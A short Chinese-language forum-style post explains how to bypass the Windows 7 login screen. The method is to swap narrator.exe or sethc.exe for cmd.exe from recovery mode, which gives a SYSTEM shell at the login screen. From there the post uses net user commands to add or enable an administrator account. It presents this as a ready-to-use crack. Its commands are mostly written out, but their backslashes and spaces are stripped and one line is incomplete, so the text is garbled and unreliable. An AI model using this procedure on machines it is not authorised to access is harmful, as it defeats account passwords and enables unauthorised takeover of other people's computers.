其實這個方法很多人都知道，不過最近嘗試了破解最新的Win764發現依然有效，給不知道的朋友分享下。
其思路就是替換講述人narrator.exe（或者粘滯鍵sethc.exe）注意，各個系統可能不太一樣，注意擴展思維。
win7下唯一的難點就是怎麼替換了，試了pe，權限不夠，也改不了，算了，估計盤有問題，那麼去Win7新出的修復模式看看吧^_^
開機，F8，修復模式，用戶選擇administrator，密碼為空，進入後選命令提示符那項，後面就不用我說了吧？O(∩_∩)O哈哈~
不過唯一注意的一點是，這裡雖然是system權限，比安全模式中要高，但是默認所在盤符並非系統盤（雖然也有Windows文件夾）！請自行切換到系統盤，
cd/dD:Windowssystem32
copynarrator.exenarrator2.exe
delnarrator.exe
copycmd.exenarrator.exe
(同理可以替換sethc.exe)
然後重啟，登陸頁面調出講述人，就會有system權限的cmd，呵呵！
netuserlogin007/add
netuser123
netlocalgroupAdministratorslogin007/add
或者直接netuseradministrator/active:y
隨你自由發揮啦~O(∩_∩)O~
注意：之所以不在修復模式下直接用netuseradministrator/active:y的方式啟用，原因是裡面修改的並非硬盤上系統分區的密碼！
